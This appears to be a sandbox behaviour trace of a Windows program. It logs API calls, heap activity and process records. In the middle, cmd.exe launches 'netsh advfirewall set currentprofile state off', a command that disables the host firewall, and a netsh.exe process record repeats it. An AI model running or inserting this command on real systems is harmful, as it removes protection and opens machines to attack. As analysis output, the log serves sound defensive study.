	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0070.138] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0070.139] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0070.139] GetProcessHeap () returned 0x17accda0000
	[0070.139] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda6e90) returned 1
	[0070.139] GetProcessHeap () returned 0x17accda0000
	[0070.139] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0x12) returned 0x17accda6f10
	[0070.139] _get_osfhandle (_FileHandle=1) returned 0x2b0
	[0070.139] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) returned 0
	[0070.139] _get_osfhandle (_FileHandle=0) returned 0x2a4
	[0070.139] SetConsoleMode (hConsoleHandle=0x2a4, dwMode=0x0) returned 0
	[0070.139] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh  advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x1310cfee50*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh  advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1310cfee28 | out: lpCommandLine="netsh  advfirewall set currentprofile state off", lpProcessInformation=0x1310cfee28*(hProcess=0x98, hThread=0x94, dwProcessId=0x714, dwThreadId=0xfbc)) returned 1
	[0072.270] CloseHandle (hObject=0x94) returned 1
	[0072.270] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0072.271] GetProcessHeap () returned 0x17accda0000
	[0072.271] RtlFreeHeap (HeapHandle=0x17accda0000, Flags=0x0, BaseAddress=0x17accda8500) returned 1
	[0072.271] GetEnvironmentStringsW () returned 0x17accda8500*
	[0072.271] GetProcessHeap () returned 0x17accda0000
	[0072.271] RtlAllocateHeap (HeapHandle=0x17accda0000, Flags=0x8, Size=0xacc) returned 0x17accdb9520
	[0072.271] FreeEnvironmentStringsA (penv="=") returned 1
	[0072.271] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000
	[0072.271] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0
	[0072.271] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x1310cfe328, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1310cfe328, ReturnLength=0x0) returned 0x0
	[0072.271] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x9d1fdd4000, lpBuffer=0x1310cfe360, nSize=0x7a0, lpNumberOfBytesRead=0x1310cfe320 | out: lpBuffer=0x1310cfe360*, lpNumberOfBytesRead=0x1310cfe320*=0x7a0) returned 1
	[0072.276] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) 

Thread:
	id = 33
	os_tid = 0x9e8


Process:
	id = "5"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xe73c000"
	os_pid = "0xdb0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0xdcc"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 14
	os_tid = 0xda4


Thread:
	id = 17
	os_tid = 0x368


Thread:
	id = 19
	os_tid = 0x744


Thread:
	id = 30
	os_tid = 0xf88


Thread:
	id = 32
	os_tid = 0x9fc


Process:
	id = "6"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x72598000"
	os_pid = "0xc04"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0xbec"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 15
	os_tid = 0x6cc


Thread:
	id = 16
	os_tid = 0x7bc


Thread:
	id = 18
	os_tid = 0xdf8


Thread:
	id = 29
	os_tid = 0xf94


Thread:
	id = 31
	os_tid = 0xd00


Process:
	id = "7"
	image_name = "netsh.exe"
	filename = "c:\\windows\\system32\\netsh.exe"
	page_root = "0x5e8df000"
	os_pid = "0x714"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0xbec"
	cmd_line = "netsh  advfirewall set currentprofile state off"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 35
	os_tid = 0xfbc

	[0073.475] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff605920000
	[0073.475] __set_app_type (_Type=0x1) 
	[0073.475] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff60592a1c0) returned 0x0
	[0073.476] __wgetmainargs (in: _Argc=0x7ff605937668, _Argv=0x7ff605937670, _Env=0x7ff605937678, _DoWildCard=0, _StartInfo=0x7ff605937684 | out: _Argc=0x7ff605937668, _Argv=0x7ff605937670, _Env=0x7ff605937678) returned 0
	[0073.476] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0073.476] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff605920000
	[0073.476] _vsnwprintf (in: _Buffer=0x7ff605939b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x9d1fb273f8 | out: _Buffer="netsh>") returned 6
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eb20
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e760
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e700
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eba0
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e7e0
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ea80
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e5c0
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ebe0
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e780
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e980
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e720
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eaa0
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.477] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e820
	[0073.477] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e580
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eac0
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eb80
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e7a0
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eb60
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e860
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e8e0
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e9c0
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e880
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eb40
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ea00
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ebc0
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eae0
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e560
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e620
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ec00
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ec20
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.478] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e680
	[0073.478] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e740
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e800
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ea20
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ec40
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e5a0
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ec60
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e840
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e4e0
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e8a0
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e920
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e500
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e9e0
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e7c0
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e520
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e540
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e8c0
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ea40
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.479] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e960
	[0073.479] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e5e0
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e640
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e660
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e600
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7eb00
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e900
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e940
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e9a0
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e6a0
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e6c0
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ea60
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7e6e0
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fd10
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ffb0
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80330
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80170
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80230
	[0073.480] GetProcessHeap () returned 0x2517dd70000
	[0073.480] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fe90
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd801f0
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7feb0
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fe50
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fe10
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fd30
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ffd0
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80390
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fd70
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fff0
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80110
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80130
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd802b0
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80010
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80250
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ff90
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fe30
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.481] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fd50
	[0073.481] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80350
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80190
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fef0
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80030
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80270
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd801b0
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd803b0
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80050
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd803d0
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80150
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80070
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80210
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80290
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fed0
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fd90
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd802d0
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd800d0
